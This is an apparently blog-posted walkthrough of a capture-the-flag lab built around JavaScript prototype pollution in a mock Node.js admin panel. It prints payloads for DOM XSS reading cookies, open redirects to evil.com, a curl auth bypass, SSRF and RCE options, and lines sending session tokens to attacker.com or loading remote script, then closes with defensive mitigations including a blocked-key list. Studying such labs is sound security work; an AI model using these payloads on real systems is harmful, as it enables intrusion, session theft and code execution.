A few weeks ago, this CTF from XDMIRROR popped up on my feed: a mock corporate IT management panel called BLEACH Enterprise built entirely around prototype pollution. Five distinct gadgets, spanning from client-side DOM XSS and open redirects all the way to server-side auth bypass, SSRF, and full RCE in Node.js—all exploiting the exact same root cause vulnerability.
What makes this CTF compelling isn’t raw difficulty—it’s pedagogical and explicitly designed to illustrate how prototype pollution works—but how clearly it demonstrates that the exact same vulnerability manifests in completely different ways depending on where the execution sink lives. Definitely worth writing up the full walkthrough.
What is Prototype Pollution
Before diving into the CTF challenges, let’s establish the foundational concept.
JavaScript relies on prototype-based inheritance. When accessing a property on an object and that property does not exist on the object itself, the JavaScript engine traverses up the prototype chain until it either finds the property or reaches null. For nearly all standard objects, this chain terminates at Object.prototype—the base prototype from which all other objects inherit.
1 | const obj = {}; |
Prototype pollution occurs when an attacker can write arbitrary properties onto Object.prototype (or another constructor’s prototype) through an insecure recursive merge, clone, or property assignment function that fails to sanitize keys properly. Once Object.prototype.X = true, every object across the entire runtime process that lacks X as an own property will resolve X as true when evaluated.
The three primary avenues to traverse to the prototype:
1 | // Three equivalent traversal payloads: |
Inside an insecure recursive merge function:
1 | merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}')); |
With this mental model in place, let’s examine the target application.
Setup: BLEACH Enterprise
1 | git clone https://github.com/XDMIRROR/client-side-ctf |
The application is an IT administration panel serving five frontend routes:
| Route | File | Auth Required |
|---|---|---|
/ |
login.html |
No |
/ticket |
index.html |
No |
/dashboard |
dashboard.html |
Yes |
/networking |
net.html |
Yes |
/auditor |
system.html |
Yes |
And three backend API endpoints defined in index.js:
| Endpoint | Function |
|---|---|
POST /api/login |
Authentication handling |
POST /api/ticket |
Create support ticket (SSRF gadget) |
POST /api/run |
Execute diagnostic command (RCE gadget) |
The shared sink across all files is the mergeConfigs function (or merge in certain files), implemented identically on both client and server:
1 | function mergeConfigs(target, source) { |
There is no hasOwnProperty check, no banned key list, and no validation against __proto__. If source contains the __proto__ property, the for...in loop iterates over it, and the recursive invocation merges its attributes directly into Object.prototype.
Gadget 1 — Client-Side DOM XSS (dashboard.html)
Sink: document.getElementById('widget-area').innerHTML
In dashboard.html, the URL hash is parsed and merged into an internal configuration object:
1 | let config = { theme: "light", lang: "es" }; |
widgetSettings falls back to an empty object if not supplied in the config. The fallback widgetSettings.template || ... queries the template property on widgetSettings (which is {}). If Object.prototype.template has been polluted, the property lookup traverses up the prototype chain and returns the injected payload string.
Payload:
1 | http://localhost:8081/dashboard#{"__proto__":{"template":"<img src=x onerror=alert(document.cookie)>"}} |
Execution flow:
mergeConfigs(config, {"__proto__": {"template": "<img...>"}})is called.- The recursion reaches
mergeConfigs(config["__proto__"], {"template": "..."}). config["__proto__"]points directly toObject.prototype.Object.prototype.templateis assigned"<img src=x onerror=alert(document.cookie)>".- When evaluating
widgetSettings.template, the property does not exist onwidgetSettingsitself $\rightarrow$ the engine traverses the prototype chain $\rightarrow$ discovers the polluted payload. - The string is concatenated into
innerHTML$\rightarrow$ DOM XSS executes.
Without prototype pollution: template is undefined on widgetSettings, falling back to the default table HTML. With pollution: arbitrary HTML/JS executes in the victim’s browser context.
Gadget 2 — Client-Side Open Redirect (dashboard.html + net.html)
Sink: window.location.href
In dashboard.html, the logout routine:
1 | function logout() { |
Direct parameter injection (without even needing prototype pollution, relying solely on hash parameter control):
1 | http://localhost:8081/dashboard#{"logoutRedirect":"https://evil.com"} |
Using prototype pollution:
1 | #{"__proto__":{"logoutRedirect":"https://evil.com"}} |
If config is instantiated as a fresh object that doesn’t explicitly define logoutRedirect as an own property, the polluted prototype dictates the destination URL upon logout.
A similar pattern exists in net.html via returnTo:
1 | function pocOpenRedirect() { |
Payload: #{"returnTo":"https://evil.com"}. Here, returnTo is consumed from the parsed hash without an intermediate prototype layer, but because load() calls merge() on the hash payload, prototype pollution works interchangeably.
Gadget 3 — Server-Side Auth Bypass (index.js)
This is where things get significantly more impactful: pollution here alters the state of the entire Node.js server process—not just a single victim’s browser tab.
Consider the authentication middleware:
1 | const checkAuth = (req, res, next) => { |
authStatus is instantiated as a clean {} on every incoming request. If no valid session cookie is provided, authStatus.authenticated is never defined as an own property. However, if Object.prototype.authenticated === true via a prior pollution payload, accessing authStatus.authenticated traverses the prototype chain and evaluates to true.
The pollution entry point is the /api/login endpoint:
1 | app.post('/api/login', (req, res) => { |
Because mergeConfigs(userSession, req.body) processes arbitrary JSON sent in the request body, passing a __proto__ payload pollutes Object.prototype.
Payload (curl):
1 | curl -X POST http://localhost:8081/api/login \ |
What happens under the hood:
mergeConfigsiterates over keys inreq.bodyand encounters__proto__.- As it is an object, it triggers a recursive call:
mergeConfigs(userSession["__proto__"], {"authenticated": true}). userSession["__proto__"]resolves toObject.prototype.Object.prototype.authenticatedis set totrue.- The Node.js runtime process now has
Object.prototype.authenticated === truefor all subsequent HTTP requests across all users. - When
checkAuthinstantiatesauthStatus = {}and evaluatesauthStatus.authenticated, it readstruefrom the prototype chain and grants access.
This highlights the fundamental difference between client-side and server-side prototype pollution: server-side pollution is globally persistent for the lifetime of the process. Any unauthenticated request sent to /dashboard immediately after this attack bypasses authentication without presenting a cookie.
Gadget 4 — Server-Side SSRF (index.js /api/ticket)
1 | app.post('/api/ticket', (req, res) => { |
logOptions does not specify a hostname. By default, Node’s internal http.request defaults to localhost when hostname is missing. Internally, however, http.request builds an options object and checks .hostname. If Object.prototype.hostname = "attacker.com", the internal client routes the outbound HTTP request to the attacker’s host instead.
Payload:
1 | curl -X POST http://localhost:8081/api/ticket \ |
The server’s internal logging request is redirected to attacker.com instead of localhost. This is direct Server-Side Request Forgery via prototype inheritance.
The server console confirms the hijacked destination:
1 | console.log(`[!] Internal request routed to: ${logOptions.hostname || 'localhost'}`); |
Gadget 5 — Server-Side RCE (index.js /api/run)
The most critical gadget in the chain. The endpoint executes the system diagnostic utility uptime using child_process.execFile:
1 | app.post('/api/run', checkAuth, (req, res) => { |
Under normal circumstances, execFile does not invoke a shell, making argument injection and shell metacharacter injection ineffective. However, execFile accepts an options dictionary. If options.shell = true (or points to a custom shell binary like /bin/bash), Node passes the command directly to the specified shell instead of executing it raw. Furthermore, child process execution options include env and argv0.
The cleanest attack vector: polluting the child process environment options (env or shell).
1 | # Vector 1: Shell invocation with custom argv0 |
1 | # Vector 2: Environment injection via NODE_OPTIONS (if a Node script is spawned) |
1 | # Vector 3: Direct shell option + BASH_ENV execution |
Mechanics: execFile('/usr/bin/uptime', [], {shell: true}) abandons secure binary execution and routes the command through a subshell. When BASH_ENV is set in the environment, non-interactive Bash subshells source and execute the referenced command immediately upon spawning.
Why this works: runOptions is initialized as {}. Internally, child_process.execFile checks options.shell, options.env, and options.argv0. Because runOptions lacks these properties, the property access cascades up to Object.prototype, picking up the attacker’s injected values.
Bonus: Additional Gadgets in net.html
net.html includes three PoC routines that act as direct injection sinks:
Fetch hijack — transmits session tokens to an attacker-controlled endpoint:
1 | function pocFetchHijack() { |
Payload: #{"urlApi":"https://attacker.com/steal"}
Script injection — dynamically loads arbitrary external JavaScript:
1 | function pocScriptInjection() { |
Payload: #{"analyticsHost":"https://attacker.com/malware.js"}
Strictly speaking, these are direct parameter injection vulnerabilities from the URL hash. However, because load() calls merge(), prototype pollution can reach any dependent object that inherits properties through the prototype chain.
Full Unauthenticated Exploit Chain
Chaining the gadgets together from scratch without valid user credentials:
1 | # Step 1: Pollute Object.prototype on the server |
Defensive Mitigations
1. Filter dangerous keys before merging:
1 | const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']); |
2. Enforce hasOwnProperty in property loops:
1 | for (let key in source) { |
3. Use prototype-less objects for sensitive configurations:
1 | const config = Object.create(null); // no prototype chain |
An object created with Object.create(null) has neither __proto__ nor any connection to Object.prototype. Injections into Object.prototype will have zero impact on it. This is a critical defense for option dictionaries passed to sensitive APIs such as child_process.execFile or http.request.
4. Strict input validation with JSON Schema:
1 | const Ajv = require('ajv'); |
5. Freeze Object.prototype at startup:
1 | Object.freeze(Object.prototype); |
Freezing the prototype at application startup prevents modifications across the runtime. While effective, note that this can occasionally break third-party libraries that legitimately extend built-in prototypes.
The CTF does an excellent job demonstrating the complete blast radius of prototype pollution: from an innocent client-side innerHTML sink to an unauthenticated server-side execFile RCE, all stemming from the exact same unvalidated merge utility. In real-world environments, server-side prototype pollution is uniquely dangerous because it affects the global runtime process across all concurrent users, requiring zero interaction from the target victim.
Repository: https://github.com/XDMIRROR/client-side-ctf
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)
![Chrysalimon [Adult / Unknown] Chrysalimon](/blog/img/digimon-pets/chrysalimon.gif)